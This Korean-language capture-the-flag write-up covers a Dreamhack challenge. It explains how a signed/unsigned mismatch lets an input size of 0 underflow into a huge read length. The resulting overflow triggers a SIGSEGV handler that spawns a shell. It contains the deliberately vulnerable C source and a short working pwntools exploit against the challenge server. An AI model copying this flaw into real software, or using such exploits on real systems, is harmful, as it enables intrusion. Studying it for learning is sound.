Logical Bug: Type Error와 관련된 내용은
https://dreamhack.io/lecture/courses/118
에 아주 자세히 설명돼있으니 꼭 강의를 수강하길 바란다.
소스코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
소스 코드 설명:
(1) 사용자에게서 Size를 입력받는다.
(2) 그 후, size-1만큼 Data를 입력받아 buf에 저장한다.
(3) 이때, size>256 or size<0 이면 프로그램이 종료된다.
(4) SIGSEGV(메모리 접근 오류)가 발생하면 get_shell()이 실행되어 shell이 획득된다.
exploit 설계
위 코드에서 exploit의 핵심은 bof를 일으켜 SIGSEGV가 발생하게 하는 것이다. 그렇다면 bof를 일으키려면 최소한 256보다 큰 값을 size로 줘야할텐데 그렇게 되면
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
위의 if문에 가로막혀 프로그램이 종료된다...
여기서 핵심은
[1] 변수 size는 int형이고, read의 인자로 들어가는 size는 size_t형(부호 없는 4byte or 8byte 정수형)이다.
[2] read함수로 size-1만큼의 데이터를 입력받는다.
이다.
이때 변수 size 값으로 0을 주게 되면, read 함수의 세 번째 인자(size_t nbytes)로는 -1이 들어간다.
이때 size_t는 부호없는 정수형이므로, -1이 들어가게 되면 언더플로우(underflow)가 일어나, 값이 엄청나게 큰 값으로 바뀌게 된다. 따라서 read 함수의 세 번째 인자의 값이 엄청나게 커지므로 우리는 bof를 일으킬 수 있게 된다.
그리고 bof를 통해 SIGSEGV를 일으키면
signal(SIGSEGV, get_shell);
를 통해 shell이 획득되게 된다.
exploit(sint.py)
char buf[256]은 ebp-0x100에 위치해있다. 따라서 나는 깔끔하게 'a'*0x108만큼 줘 bof를 일으킨 후 SIGSEGV를 띄워 shell을 획득할 것이다
from pwn import *
p = remote('host3.dreamhack.games', 14385)
p.sendlineafter('Size: ', str(0).encode())
p.sendafter('Data: ', b'a'*0x108)
p.interactive()